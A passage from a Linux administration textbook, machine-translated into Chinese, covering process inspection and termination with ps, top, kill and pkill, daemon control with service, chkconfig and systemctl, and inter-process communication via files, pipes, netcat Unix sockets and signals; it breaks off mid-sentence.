处理过程 - -本节是通过在日常 Linux 管理任务中使用的资源丰富的命令行实用工具来管理进程的实用指南。 其中一些工具已经在前面的小节中提到(例如,`ps`和`top`),当我们讨论特定的过程内部时。 在这里,我们将回顾到目前为止收集到的大部分知识,并通过介绍一些实际操作的示例,将其用于现实世界的旋转。 - -让我们从`ps`命令开始——Linux 进程管理器。 - -## ps 命令 - -我们在进程剖析部分的*中描述了`ps`命令及其语法。 下面的命令显示当前系统中正在运行的进程的选择:* - -```sh -ps -e | head -``` - -`-e`选项(或`-A`)选择*系统中的所有*进程。 `head`管道调用只显示前几行(默认为 10 行): - -![Figure 5.10 – Displaying the first few processes](img/B13196_05_10.jpg) - -图 5.10 -显示前几个进程 - -上述信息可能并不总是特别有用。 也许我们想了解更多关于每个进程的信息,而不仅仅是`ps`命令输出中的`PID`或`CMD`字段。 (我们在流程剖析部分描述了一些流程属性。) - -下面的命令以更详细的方式列出了当前用户拥有的进程: - -```sh -ps -fU $(whoami) -``` - -选项指定完整格式列表,其中显示每个进程的更详细信息。 选项参数将当前用户(`packt`)指定为我们想要检索的进程的实际用户(所有者)。 换句话说,我们想要列出我们拥有的所有进程: - -![Figure 5.11 – Displaying the processes owned by the current user](img/B13196_05_11.jpg) - -图 5.11 -显示当前用户拥有的进程 - -在某些情况下,我们可能会寻找一个特定的过程,要么是为了监视目的,要么是为了对它们进行操作。 让我们以前面的一个示例为例,其中我们展示了一个长期存在的进程,并将相关命令封装到一个简单的脚本中。 该命令是一个简单的`while`循环,可以无限地运行: - -```sh -while true; do x=1; done -``` - -使用我们喜欢的编辑器(例如`nano`),我们可以创建一个包含以下内容的脚本文件(例如`test.sh`): - -![Figure 5.12 – A simple test script running indefinitely](img/B13196_05_12.jpg) - -图 5.12 -一个不确定地运行的简单测试脚本 - -我们可以使测试脚本可执行,并将其作为后台进程运行: - -```sh -chmod +x test.sh -./test.sh & -``` - -注意命令末尾的&符号(`&`),它调用后台进程: - -![Figure 5.13 – Running a script as a background process](img/B13196_05_13.jpg) - -图 5.13 -作为后台进程运行脚本 - -运行脚本的后台进程的进程 ID(`PID`)为`243436`。 假设我们想通过进程的名称(`test.sh`)找到进程。 为此,我们可以使用`ps`命令和`grep`管道: - -```sh -ps -ef | grep test.sh -``` - -上述命令的输出如下截图所示: - -![Figure 5.14 – Finding a process by name using the ps command](img/B13196_05_14.jpg) - -图 5.14 -使用 ps 命令通过名称查找进程 - -前面的输出表明我们的流程有`243436`的`PID`和`/bin/bash ./test.sh`的`CMD`。 `CMD`字段包含脚本的完整命令调用,包括命令行参数。 - -我们应该注意,`test.sh`脚本的第一行包含`#!/bin/bash`,这提示操作系统调用`bash`来执行脚本。 这一行也称为,即**shebang**行,它必须是 bash 脚本中的第一行。 为了更好地理解`CMD`字段,本例中的命令是`/bin/bash`(根据 shebang 调用),相关的命令行参数是`test.sh`脚本。 换句话说,`bash`执行`test.sh`脚本。 - -前面的`ps`命令的输出还包括我们的`ps | grep`命令的调用,这在某种程度上是不相关的。 该命令的改进版本如下: - -```sh -ps -ef | grep test.sh | grep -v grep -``` - -上述命令的输出如下截图所示: - -![Figure 5.15 – Finding a process by name using the ps command (refined)](img/B13196_05_15.jpg) - -图 5.15 -使用 ps 命令通过名称查找进程(精炼) - -`grep -v grep`管道从`ps`命令的结果中过滤掉不需要的`grep`调用。 - -如果希望根据进程 ID(`PID`)查找进程,可以使用`-p|--pid`选项参数调用`ps`命令。 例如,下面的命令显示了将`PID`设置为`243436`的进程的详细信息(运行`test.sh`脚本): - -![Figure 5.16 – Finding a process by PID using the ps command](img/B13196_05_16.jpg) - -图 5.16 -使用 ps 命令通过 PID 查找进程 - -`-f`选项显示详细的(*长格式*)进程信息。 - -对于`ps`命令,还有许多其他的用例,探究所有这些用例远远超出了本书的范围。 我们在这里列举的调用应该为您提供一个基本的探索指南。 更多信息请参考`ps`系统参考手册(`man ps`)。 - -## stree 命令 - -`pstree`以树形视图的形式显示正在运行的进程。 在某些方面,`pstree`充当命令的可视化器。 `pstree`命令的输出的根是`init`进程或在命令中指定 PID 的进程。 `pstree`命令的语法如下: - -```sh -pstree [OPTIONS] [PID] [USER] -``` - -下面的命令显示当前终端会话的进程树: - -```sh -pstree $(echo $$) -``` - -上述命令的输出如下截图所示: - -![Figure 5.17 – The process tree of the current Terminal session](img/B13196_05_17.jpg) - -图 5.17 -当前终端会话的进程树 - -其中`echo $$`提供了当前 Terminal 会话的 PID。 PID 被包装为`pstree`命令的参数。 要显示相关的 pid,可以使用-`p|--show-pids`选项调用`pstree`命令: - -```sh -pstree -p $(echo $$) -``` - -上述命令的输出如下截图所示: - -![Figure 5.18 – The process tree (along with its PIDs) of the current Terminal session](img/B13196_05_18.jpg) - -图 5.18 -当前终端会话的进程树(及其 pid) - -下面的命令显示当前用户拥有的进程: - -```sh -pstree $(whoami) -``` - -该命令的输出信息“”如下截图所示: - -![Figure 5.19 – The process tree owned by the current user](img/B13196_05_19.jpg) - -图 5.19 -当前用户拥有的流程树 - -有关`pstree`命令的详细信息,请参考相关的系统参考手册(`man pstree`)。 - -## top 命令 - -当谈到实时监视进程时,`top`实用程序是 Linux 管理员最常用的工具之一。 相关命令行语法如下: - -```sh -top [OPTIONS] -``` - -下面的命令显示系统中当前运行的所有进程,以及实时更新(内存、CPU 使用情况等): - -```sh -top -``` - -上述命令的输出如下截图所示: - -![Figure 5.20 – Displaying the running processes in real time using the top command](img/B13196_05_20.jpg) - -图 5.20 -使用 top 命令实时显示正在运行的进程 - -按*Q*将退出`top`命令。 默认情况下,`top`命令根据 CPU 使用率对输出进行排序(如`%CPU`字段/列所示)。 我们可以在输出的最顶端看到我们的测试脚本进程(PID`243436`)(CPU 使用率为`99.3%`)。 - -我们还可以选择根据不同的字段对`top`命令的输出进行排序。 `top`运行时,按*Shift*+*F*(`F`)调用交互模式: - -![Figure 5.21 – The top command in interactive mode (Shift + F)](img/B13196_05_21.jpg) - -图 5.21 -交互模式下的 top 命令(Shift + F) - -使用方向键可以选择要排序的字段(例如`%MEM`),然后按*S*设置新字段,然后按*Q*退出交互模式。 交互模式排序的替代方法是调用`top`命令的`-o`选项参数,该参数指定排序字段。 - -例如,下面的命令列出了按 CPU 占用率排序的前 10 个进程: - -```sh -top -b -o %CPU | head -n 17 -``` - -同样,下面的命令列出了前 10 个进程,按 CPU 和内存使用情况排序: - -```sh -top -b -o +%MEM | head -n 17 -``` - -选项参数指定批处理模式操作(而不是默认的交互模式)。 选项参数`-o +%MEM`表示附加的(`+`)排序字段(`%MEM`)与默认的`%CPU`字段相结合。 `head -n 17`管道选择输出的前 17 行,包括`top`命令的 7 行头: - -![Figure 5.22 – The top 10 processes sorted by CPU and memory usage](img/B13196_05_22.jpg) - -图 5.22 -按 CPU 和内存使用率排序的前 10 个进程 - -下面的命令列出了当前用户(`packt`)所拥有的按 CPU 使用率排序的前 5 个进程: - -```sh -top -u $(whoami) -b -o %CPU | head -n 12 -``` - -该命令的输出信息“”如下截图所示: - -![Figure 5.23 – The top five processes owned by the current user, sorted by CPU usage](img/B13196_05_23.jpg) - -图 5.23 -当前用户拥有的前 5 个进程(按 CPU 使用率排序 - -`-u $(whoami)`option 参数指定`top`命令的当前用户。 - -使用`top`命令,我们还可以使用`-p`PID 选项参数监视特定的进程。 例如,下面的命令监视我们的测试进程(使用 PID`243436`): - -```sh -top -p 243436 -``` - -上述命令的输出如下截图所示: - -![Figure 5.24 – Monitoring a specific process ID (PID) with the top command](img/B13196_05_24.jpg) - -图 5.24 -使用 top 命令监视特定的进程 ID (PID - -我们可以在使用`top`命令时,通过按*K*来选择*杀死*进程。 我们会被我们想要终止的进程的 PID 提示: - -![Figure 5.25 – Killing a process with the top command](img/B13196_05_25.jpg) - -图 5.25 -使用 top 命令终止一个进程 - -实用工具可以在许多创造性的方式中使用。 我们希望本节中提供的示例能够激励您进一步探索基于特定需求的用例。 有关更多信息,请参考`top`命令(`man top`)的系统参考手册。 - -## kill 和 killall 命令 - -我们使用`kill`命令来终止进程。 该命令的语法如下: - -```sh -kill [OPTIONS] [ -s SIGNAL | -SIGNAL ] PID [...] -``` - -`kill`命令向进程发送*信号*,试图停止其执行。 当没有指定信号时,发送`SIGTERM`(`15`)。 信号可以由不带`SIG`前缀的信号名称(例如`SIGKILL`为`KILL`)指定,也可以由值(例如`9`为`SIGKILL`)指定。 - -`kill -l`和`kill -L`命令提供了可以在 Linux 中使用的信号的完整列表: - -![Figure 5.26 – The Linux signals](img/B13196_05_26.jpg) - -图 5.26 - Linux 信号 - -每个信号都有一个数值,如上面的输出所示。 例如:`SIGKILL`=`9`。 下面的命令将终止我们的测试进程(使用 PID`243436`): - -```sh -kill -9 243436 -``` - -下面的命令和前面的命令一样: - -```sh -kill -KILL 243436 -``` - -在某些场景中,我们可能想一次性终止多个进程。 `killall`命令来拯救这里。 `killall`命令格式如下: - -```sh -killall [OPTIONS] [ -s SIGNAL | -SIGNAL ] NAME... -``` - -`killall`向所有运行指定命令的进程发送一个信号。 当没有指定信号时,发送`SIGTERM`(`15`)。 信号可以由不带`SIG`前缀的信号名称(例如`SIGTERM`为`TERM`)指定,也可以由值(例如`SIGTERM`为`15`)指定。 - -例如,下面的命令终止所有运行`test.sh`脚本的进程: - -```sh -killall -e -TERM test.sh -``` - -上述命令的输出如下截图所示: - -![Figure 5.27 – Terminating multiple processes with killall](img/B13196_05_27.jpg) - -图 5.27 -使用 killall 终止多个进程 - -终止进程通常会从系统进程表中删除相关的引用。 终止的进程将不再显示在`ps`、`top`或类似命令的输出中。 - -有关`kill`和`killall`命令的更多信息,请参阅相关的系统参考手册(`man kill`和`man killall`)。 - -## pgrep 和 pkill 命令 - -`pgrep`和`pkill`是基于模式的查找命令,用于探索和终止正在运行的进程。 它们的语法如下: - -```sh -pgrep [OPTIONS] PATTERN -pkill [OPTIONS] PATTERN -``` - -`pgrep`遍历当前进程,并列出匹配选择模式或标准的进程 id。 类似地,`pkill`终止匹配选择标准的进程。 - -下面的命令查找我们的测试进程(`test.sh`),并在找到相关进程时显示 PID: - -```sh -pgrep -f test.sh -``` - -上述命令的输出如下截图所示: - -![Figure 5.28 – Looking for a process ID based on name using pgrep](img/B13196_05_28.jpg) - -图 5.28 -使用 pgrep 根据名称查找进程 ID - -`-f|--full`选项强制我们要查找的进程的全名匹配。 我们可以结合使用`pgrep`和`ps`命令来获得关于进程的更详细的信息,如下所示: - -```sh -pgrep -f test.sh | xargs ps -fp -``` - -以上命令的输出信息如下截图所示: - -![Figure 5.29 – Chaining pgrep and ps for more information](img/B13196_05_29.jpg) - -图 5.29 -链接 pgrep 和 ps 以获取更多信息 - -在前面的一行程序中,我们将`pgrep`命令(带有 PID`243436`)的输出通过管道传递到`ps`命令,该命令是通过`-f`(长格式)和`-p|--pid`选项调用的。 `-p`选项参数获取管道 PID 值。 - -要终止`test.sh`进程,只需调用`pkill`命令,如下所示: - -```sh -pkill -f test.sh -``` - -前面的命令将*以静默的方式*终止相关进程,基于选项强制执行的全名查找。 为了从`pkill`命令的操作中获得一些反馈,我们需要调用`-e|--echo`选项,如下所示: - -```sh -pkill -ef test.sh -``` - -上述命令的输出如下截图所示: - -![Figure 5.30 – Killing a process by name using pkill](img/B13196_05_30.jpg) - -图 5.30 -使用 pkill 按名称终止一个进程 - -更多信息,请参考`pgrep`和`pkill`系统参考手册(`man pgrep`和`man pkill`)。 - -本节介绍了一些在涉及进程的日常 Linux 管理任务中经常使用的命令行实用程序。 请记住,在 Linux 中,大多数情况下,有许多方法可以完成特定的任务。 我们希望本节中的示例将帮助您想出处理流程的创造性方法和技术。 - -接下来,我们将研究一些与守护进程交互的常见方法。 - -# 与守护进程一起工作 - -如介绍部分所述,守护进程是一种特殊的后台进程。 因此,绝大多数处理进程的方法和技术也适用于守护进程。 然而,在管理(或控制)相关进程的生命周期时,有一些特定的命令严格地对守护进程进行操作。 - -如*守护进程*部分所述,守护进程由 shell 脚本控制,通常存储在`/etc/init.d/`或`/lib/systemd/`系统目录中,具体取决于 Linux 平台。 在传统的 Linux 系统上(例如 CentOS/RHEL 6)和 Ubuntu(甚至在最新的发行版中),守护进程脚本文件存储在`/etc/init.d/`中。 在 CentOS/RHEL 7 和更新的平台上,它们通常存储在`/lib/systemd/`中。 - -守护文件和守护命令行实用程序的位置很大程度上取决于`init`初始化系统和服务管理器。 在*init 进程*一节中,我们简要地提到了 Linux 发行版中的各种`init`系统。 为了说明守护进程控制命令的使用,我们将探讨在各种 Linux 平台上广泛使用的两个`init`系统——`SysV`和`systemd`。 - -## 使用 SysV 守护进程 - -在传统的 Linux 平台上(例如,CentOS/RHEL 6 及更早版本),`init`实现通常遵循**SysV**或**System V**Linux 系统进程初始化机制。 `SysV`(发音为*Sys Five*或*System Five*)本质上是一个遗留的服务控制器和服务管理平台,仍然存在于所有主要的 Linux 发行版中,主要是出于向后兼容性的原因。 由于本章的范围有限,我们将不深入探讨`SysV`的细节。 - -在`SysV`环境中,我们通常使用`service`命令来探索和控制守护进程。 例如,显示所有激活的守护进程(服务): - -```sh -service --status-all -``` - -要查找特定守护进程(例如`httpd`)的状态,可以使用以下命令: - -```sh -service httpd status -``` - -该命令的输出信息“”如下截图所示: - -![Figure 5.31 – Checking the status of a SysV daemon (httpd) in CentOS/RHEL 6](img/B13196_05_31.jpg) - -图 5.31 -在 CentOS/RHEL 6 中检查 SysV 守护进程(httpd)的状态 - -我们可以通过`service`命令控制调用`start`、`stop`和`restart`的守护进程(例如`httpd`)。 例如,下面的命令将停止`httpd`服务: - -```sh -service httpd stop -``` - -上述命令的输出如下截图所示: - -![Figure 5.32 – Stopping a SysV daemon (httpd) in CentOS/RHEL 6](img/B13196_05_32.jpg) - -图 5.32 - CentOS/RHEL 6 中停止 SysV 守护进程(httpd - -有关`service`命令的更多信息,请参考相关的系统参考手册(`man service`)。 - -在 CentOS/RHEL 6 操作系统中,要*启用*或*禁用*服务,可以使用`chkconfig`命令。 例如,以下命令禁用`httpd`守护进程: - -```sh -chkconfig httpd off -``` - -上述命令的输出如下截图所示: - -![Figure 5.33 – Disabling a SysV daemon (httpd) in CentOS/RHEL 6](img/B13196_05_33.jpg) - -图 5.33 - CentOS/RHEL 6 中禁用 SysV 守护进程(httpd - -`chkconfig`命令还用于列出通过`SysV`脚本控制的守护进程,并修改它们的**运行级别**,也称为**运行级别**。 在 Linux 系统上,运行级别是`SysV`风格的`init`构造,它指示在系统的特定运行阶段的服务可用性。 由于随着`systemd``init`系统的发展趋势,运行级别已经过时,所以我们将不讨论相关的主题。 有关运行级的更多信息,请参阅相关的系统参考手册(`man runlevel`)。 - -以下命令列出了所有的`SysV`服务(以 CentOS/RHEL 6 为例): - -```sh -chkconfig --list -``` - -有关`chkconfig`命令的详细信息,请参考相关的系统参考手册(`man chkconfig`)。 - -## 与系统守护进程一起工作 - -`init`系统的基本要求是在引导 Linux 内核时,初始化和编排各个进程的启动和启动依赖。 这些进程也称为**用户域**或**用户进程**。 在系统运行时,`init`引擎还控制服务和守护进程。 - -在过去的几年里,大多数 Linux 平台已经过渡到`systemd`作为其默认的`init`引擎。 由于它的广泛采用,熟悉`systemd`及其相关的命令行工具至关重要。 记住这一点,本节主要关注的是`systemctl`—用于管理`systemd`守护进程的中央命令行实用程序。 - -`systemctl`命令格式如下: - -```sh -systemctl [OPTIONS] [COMMAND] [UNITS...] -``` - -由`systemctl`命令调用的操作直接指向单元,这些单元是由`systemd`管理的系统资源。 在`systemd`中定义了几种单元类型(例如,服务、挂载、套接字等等)。 每个单元都有相应的文件。 这些文件的类型是从相关文件名的后缀推断出来的; 例如,`httpd.service`是 Apache web 服务(守护进程)的服务单元文件。 有关`systemd`单元的全面列表和详细描述,请参阅`systemd.unit`系统参考手册(`man systemd.unit`)。 - -下面的命令使一个守护进程(例如`httpd`)在引导时启动: - -```sh -systemctl enable httpd -``` - -该命令的输出信息“”如下截图所示: - -![Figure 5.34 – Enabling a systemd daemon (httpd)](img/B13196_05_34.jpg) - -图 5.34 -启用 systemd 守护进程(httpd) - -通常,调用`systemctl`命令需要超级用户特权。 我们应该注意,当我们针对服务单元时,`systemctl`不需要`.service`后缀。 下面的调用也是可以接受的: - -```sh -systemctl enable httpd.service -``` - -禁用`httpd`服务在启动时启动的命令如下: - -```sh -systemctl disable httpd -``` - -需要查询`httpd`服务的状态,使用如下命令: - -```sh -systemctl status httpd -``` - -上述命令的输出如下截图所示: - -![Figure 5.35 – Querying the status of a systemd daemon (httpd)](img/B13196_05_35.jpg) - -图 5.35 -查询 systemd 守护进程(httpd)的状态 - -或者,我们可以使用以下命令检查`httpd`服务的状态: - -```sh -systemctl is-active httpd -``` - -该命令的输出信息“”如下截图所示: - -![Figure 5.36 – Querying the active status of a systemd daemon (httpd)](img/B13196_05_36.jpg) - -图 5.36 -查询 systemd 守护进程(httpd)的活动状态 - -下面的命令停止或启动`httpd`服务: - -```sh -systemctl stop httpd -systemctl start httpd -``` - -有关`systemctl`的更多信息,请参考相关系统参考手册(`man systemctl`)。 有关`systemd`内部元件的更多信息,请参阅相应的参考手册(`man systemd`)。 - -处理进程和守护进程是日常 Linux 管理任务的一个永恒主题。 掌握相关的命令行实用程序是任何经验丰富的用户的基本技能。 但是,一个正在运行的进程或守护进程也应该考虑与本地或远程系统上运行的其他进程或守护进程之间的关系。 进程之间的通信方式对某些人来说可能有点神秘。 在下一节中,我们将解释进程间通信的工作方式。 - -# 探索进程间通信 - -**进程间通信**(**IPC**)是进程之间使用共享机制或接口进行交互的一种方式。 在本节中,我们将采取实际的方法来探索进程之间的各种通信机制。 Linux 进程通常可以通过以下接口共享数据并同步它们的操作: - -* 共享存储(文件) -* 共享内存 -* 已命名和未命名管道 -* 消息队列 -* 套接字 -* 信号 - -为了说明大多数通信机制,我们将使用**生产者**和**消费者**流程的模型来构建示例。 生产者和消费者共享一个公共接口,生产者在其中写入消费者读取的数据。 IPC 机制通常在分布式系统中实现,围绕或多或少复杂的应用构建。 我们的示例将使用简单的 bash 脚本(`producer.sh`和`consumer.sh`),从而模拟生产者和消费者流程。 我们希望这种简单模型的使用仍然能为现实世界的应用提供一个合理的类比。 - -让我们看看前面列举的每个 IPC 机制。 - -## 共享存储 - -在最简单的形式中,IPC 机制的共享存储可以是一个保存到磁盘的简单文件。 生产者然后写入文件,而消费者从相同的文件读取。 在这个简单的用例中,明显的挑战是读写操作的完整性,因为底层操作之间可能存在竞争条件。 为了避免竞争条件,文件必须在写操作期间被锁定,以防止 I/O 与另一个读或写操作重叠。 为了简单起见,我们不打算在简单的例子中解决这个问题,但我们认为有必要把它说出来。 - -下面是制作人(左)和消费者(右)脚本: - -![Figure 5.37 – The producer (left) and consumer (right) scripts (using shared storage)](img/B13196_05_37.jpg) - -图 5.37 -生产者(左)和消费者(右)脚本(使用共享存储) - -在我们的示例中,生成器每`5`秒向`storage`文件写入一组新的数据(`10`随机 UUID 字符串)。 消费者每秒钟读取`storage`文件的内容: - -![Figure 5.38 – The producer (left) and consumer (right) communicating through shared storage](img/B13196_05_38.jpg) - -图 5.38 -生产者(左)和消费者(右)通过共享存储通信 - -生产者和消费者数据提要在任何时候都是相同的。 两个进程通过共享的`storage`文件进行通信。 - -## 共享内存 - -Linux 中的进程通常有单独的地址空间。 一个进程只能访问另一个进程的内存中的数据,前提是两个进程共享一个公共的内存段来存储这些数据。 Linux 至少提供了两个**应用编程接口**(**API**),以编程方式定义和控制进程之间的共享内存:一个遗留的 System V API 和最新的 POSIX API。 这两个 api 都是用 C 编写的,尽管生产者和消费者模型的实现超出了本书的范围。 但是,我们可以通过使用`/dev/shm`临时文件存储系统来与共享内存方法进行紧密匹配,该系统使用系统的 RAM 作为其后备存储(即 RAM 磁盘)。 - -通过将`/dev/shm`用作共享内存,我们可以重用*共享存储*节示例中的生产者-消费者模型,在该示例中,我们只需将存储文件指向`/dev/shm/storage`。 - -共享内存和共享存储 IPC 模型可能不能很好地处理大量数据,特别是海量数据流。 替代方案是使用 IPC 通道,可以通过管道、消息队列或套接字通信层启用 IPC 通道。 - -## 未命名管道 - -**未命名的**或**匿名的**管道,也称为**常规的**管道,将一个进程的输出提供给另一个进程的输入。 使用我们的生产者-消费者模型,将未命名的管道描述为两个进程之间的 IPC 机制的最简单方法是: - -```sh -producer.sh | consumer.sh -``` - -前面插图的关键元素是管道(`|`)符号。 管道的左侧产生一个输出,该输出直接被输送到管道的右侧供用户使用。 为了适应匿名管道 IPC 层,我们将对我们的生产者和消费者脚本做一个轻微的修改: - -![Figure 5.39 – The producer (left) and consumer (right) scripts (using an unnamed pipe)](img/B13196_05_39.jpg) - -图 5.39 -生产者(左)和消费者(右)脚本(使用未命名管道) - -在我们的修改后的实现中,生产者将一些数据打印到控制台(`10`随机 UUID 字符串)。 消费者读取并显示通过`/dev/stdin`管道的数据,或者如果管道为空,则显示输入参数。 `consumer.sh`脚本中的`8`行检查`/dev/stdin`中是否存在管道数据(`0`for`fd0`: - -```sh -if [ -t 0 ]; then -``` - -生产者-消费者沟通的输出如下截图所示: - -![Figure 5.40 – The producer feeding data into a consumer through an unnamed pipe](img/B13196_05_40.jpg) - -图 5.40 -生产者通过未命名管道将数据提供给消费者 - -输出清楚地显示了消费者流程正在打印的数据。 (注意 UUID 字符串前面的`"Consumer data:"`头。) - -IPC 匿名管道的问题之一是,在生产者和消费者之间输入的数据不能通过任何类型的存储层持久化。 如果生产者或消费者进程被终止,管道就会消失,基础数据就会丢失。 命名管道解决了这个问题。 - -## 命名管道 - -命名管道,也称为**First In, First Outs**(**FIFOs**),与传统的(未命名的)管道相似,但在其语义上有很大的不同。 未命名管道只在相关的进程运行时持续存在。 然而,命名管道具有后备存储,并且将在系统启动时持续使用,无论连接到相关 IPC 通道的进程的运行状态如何。 - -通常,命名管道充当一个文件,当不再使用它时,可以删除它。 让我们修改我们的生产者和消费者脚本,以便我们可以使用一个命名管道作为他们的 IPC 通道: - -![Figure 5.41 – The producer (left) and consumer (right) scripts (using named pipe)](img/B13196_05_41.jpg) - -图 5.41 -生产者(左)和消费者(右)脚本(使用命名管道) - -命名管道是`pipe.info`(两个脚本中的`5`行)。 管道文件是由生产者或消费者在开始时创建的(第`7`行)。 相关命令是`mkfifo`(参见`man mkfifo`了解更多信息)。 - -生产者每秒钟向指定管道写入一个随机 UUID(`producer.sh`中的`13`行),而消费者立即读取它(`consumer.sh`中的`10`-`11`行): - -![Figure 5.42 – The producer (left) and consumer (right) communicating through a named pipe](img/B13196_05_42.jpg) - -图 5.42 -生产者(左)和消费者(右)通过命名管道通信 - -我们以任意的顺序开始了两个脚本——生产者和消费者。 过了一会儿,我们停止(中断)用户(**步骤 1**)。 生产者继续运行,但自动停止向管道发送数据。 然后,我们又开始消费。 生产设备立即恢复向管道发送数据。 过了一会儿,我们停止了生产者(**步骤 2**)。 这一次,消费者变得无所事事。 在再次启动生产设备后,两者都恢复了正常运行,数据开始通过命名管道。 该工作流显示了命名管道的持久性和弹性,无论生产者或消费者流程的运行状态如何。 - -命名管道本质上是队列,其中数据以先到先得的方式排队和退出队列。 当两个以上的进程在 IPC 命名管道通道上通信时,FIFO 方法可能不适合这种情况,特别是当特定的进程要求更高的数据处理优先级时。 消息队列在这里发挥了作用。 - -## 消息队列 - -消息队列是一种异步通信机制,通常在分布式系统架构中使用。 消息被写入并存储在队列中,直到它们被处理并最终删除。 消息由生产者编写(发布),只处理一次,通常由单个消费者处理。 在非常高的级别上,消息具有序列、有效负载和类型。 消息队列可以调节消息的检索(顺序)(例如,基于优先级或类型): - -![Figure 5.43 – Message queue (simplified view)](img/B13196_05_43.jpg) - -图 5.43 -消息队列(简化视图) - -对消息队列或其模拟实现的详细分析决不是琐碎的,它的超出了本章的范围。 有许多开源消息队列实现可用于大多数 Linux 平台(RabbitMQ, ActiveMQ, ZeroMQ, MQTT,等等)。 - -基于消息队列和管道的 IPC 机制是单向的。 一个进程写入数据; 另一个人读它。 有命名管道的双向实现,但所涉及的复杂性会对底层通信层产生负面影响。 - -对于双向通信,您可以考虑使用基于套接字的 IPC 通道。 下一节将向您展示如何做到这一点。 - -## 插座 - -IPC 基于 socket 的设备有和两种类型: - -* **IPC 套接字**:也称为 Unix 域套接字 -* **网络套接字**:**传输控制协议**(**TCP**)和**用户数据报协议**(**UDP**)套接字 - -IPC 套接字使用本地文件作为套接字地址,并允许同一主机上的进程之间进行双向通信。 另一方面,网络套接字通过 TCP/UDP 网络将 IPC 数据连接层扩展到本地机器之外。 除了实现上的明显差异外,IPC 套接字和网络套接字的数据通信通道表现相同。 - -这两个套接字都被配置为流,支持双向通信,并模拟客户机/服务器模式。 套接字的通信通道是活动的,直到它在任何一端关闭,从而中断 IPC 连接。 - -让我们调整我们的生产者-消费者模型来模拟 IPC 套接字(Unix 域套接字)数据连接层。 我们将使用`netcat`来处理底层客户机/服务器 IPC 套接字的连接。 `netcat`是一个强大的网络工具,用于使用 TCP、UDP 和 ICP 套接字连接读写数据。 如果在您选择的 Linux 发行版上没有默认安装`netcat`,您可以按照以下方式安装它。 - -在 Ubuntu 上,使用以下命令: - -```sh -sudo apt-get install netcat -``` - -在 CentOS/RHEL 操作系统中使用如下命令: - -```sh -sudo yum install nmap -``` - -有关`netcat`的更多信息,请参考相关系统参考手册(`man netcat`): - -![Figure 5.44 – The producer (left) and consumer (right) scripts (using IPC sockets)](img/B13196_05_44.jpg) - -图 5.44 -生产者(左)和消费者(右)脚本(使用 IPC 套接字) - -生产者作为服务器,使用 IPC 套接字(`producer.sh`中的`14`行)初始化一个`netcat`侦听器端点: - -```sh -nc -lU "${SOCKET}" -``` - -选项`-l`表示侦听器(服务器)模式,而选项`-U "${SOCKET}"`指定 IPC 套接字类型(Unix 域套接字)。 使用者使用类似的命令(`consumer.sh`中的`7`行)作为客户端连接到`netcat`服务器端点。 生产者和消费者都使用相同的(共享的)IPC 套接字文件描述符`(/var/tmp/ipc.sock`进行通信,如行`5`中定义的那样。 - -生产者每秒钟向消费者发送随机 UUID 字符串(`producer.sh`中的`9`-`12`行)。 相关输出在`stdout`中通过`tee`命令(第`13`行)捕获,然后通过管道传递到`netcat`(第`14`行): - -![Figure 5.45 – The producer (left) and consumer (right) communicating through an IPC socket](img/B13196_05_45.jpg) - -图 5.45 -生产者(左)和消费者(右)通过 IPC 套接字通信 - -使用者获取由生产者生成的所有消息(uuid)。 此外,我们还手动从消费者向生产者发送了一条`HELLO!!`消息,以演示两者之间的双向通信流。 - -在我们的生产者-消费者模型中,我们使用`netcat`作为 IPC 套接字通信层。 或者,我们可以使用类似的网络工具`socat`。 - -在结束 IPC 工具箱之前,让我们先快速停下来讨论一下信号。 我们在本节开始时提到,信号是另一种 IPC 机制。 实际上,它们是 IPC 的一种有限形式,因为进程可以通过信号协调彼此之间的同步。 但信号不携带任何数据有效载荷。 它们只是将事件通知流程,流程可以选择采取特定的操作来响应这些事件。 - -下面的部分将详细介绍信号。 - -## 使用信号工作 - -在 Linux 中,信号是一种单向异步通知机制,用于响应特定条件。 信号可以在以下任何方向起作用: - -* 从 Linux 内核到任意进程 -* 从一个过程到另一个过程 -* 从一个过程到它自己 - -信号通常警报 Linux 过程对一个特定的事件,比如段错误(`SIGSEGV`)提出的内核或执行被打断(`SIGINT`)由用户按*Ctrl + C*【5】。 在 Linux 中,进程是通过信号控制的。 Linux 内核定义了几十个信号。 每个信号都有一个相应的非零正整数值。 下面的命令列出了所有已经在 Linux 系统中注册的信号: - -```sh -kill -l -``` - -上述命令的输出如下截图所示: - -![Figure 5.46 – The Linux signals](img/B13196_05_46.jpg) - -图 5.46 - Linux 信号 - -例如,`SIGHUP`有一个信号值`1`,当它退出时,它被终端会话调用到它的所有子进程。 `SIGKILL`的信号值为`9`,最常用于终止进程。 进程通常可以控制如何处理信号,除了`SIGKILL`(`9`)和`SIGSTOP`(`19`),它们总是分别结束或停止进程。 - -进程以以下方式处理信号: - -* 执行信号所暗示的默认动作; 例如,停止、终止、core-dump 进程,或者什么都不做。 -* 执行自定义操作(除了`SIGKILL`和`SIGSTOP`)。 在这种情况下,进程捕获信号并以特定的方式处理它。 - -当一个程序为一个信号实现一个自定义处理程序时,它通常定义一个信号处理函数来改变进程的执行,如下所示: - -* 当接收到信号时,进程的执行在当前指令处中断。 -* 进程的执行立即跳转到信号处理函数 -* 信号处理函数运行。 -* 当信号处理函数退出时,进程继续执行,从之前中断的指令开始。 - -以下是一些与信号相关的简短术语: - -* 信号是由产生它的过程产生的。 -* 一个信号被处理它的进程捕获。 -* 如果进程有相应的**无操作**或**无操作**(**NOOP**)处理程序,则忽略信号。 -* 如果进程在捕获信号时实现了特定的操作,则处理信号。 - -`man signal.h`系统参考手册捕捉每个信号的详细描述。 这里的一个摘录: - -```sh -man signal.h -``` - -上述命令的输出如下截图所示: - -![Figure 5.47 – Excerpt of signal definitions (from man signal.h)](img/B13196_05_47.jpg) - -图 5.47 -信号定义摘录(摘自 man signal.h) - -突出显示的信号——`SIGKILL`和`SIGSTOP`是唯一不能被捕捉或忽略的信号。 、`Default Action`列中的值具有以下意义(也从`man signal.h`中获取): - -![Figure 5.48 – The default actions (from man signal.h)](img/B13196_05_48.jpg) - -图 5.48 -默认动作(来自 man signal.h) - -让我们来探索一些处理信号的用例: - -* 当内核提出了一个`SIGKILL`,`SIGFPE`(浮点异常),`SIGSEGV`(段错误),`SIGTERM`,或类似的信号,通常情况下,接收信号立即终止执行的过程,可能生成一个核心转储,图像的过程,用于调试目的。 -* 当用户类型*Ctrl + C*——也被称为一个**中断字符【显示】(**INTR**),而一个前台进程运行时,`SIGINT`信号发送到进程。 除非底层程序为`SIGINT`实现了一个特殊的处理程序,否则进程将终止。**** -*** Using the `kill` command, we can send a signal to any process based on its PID. The following command sends a `SIGHUP` signal to a 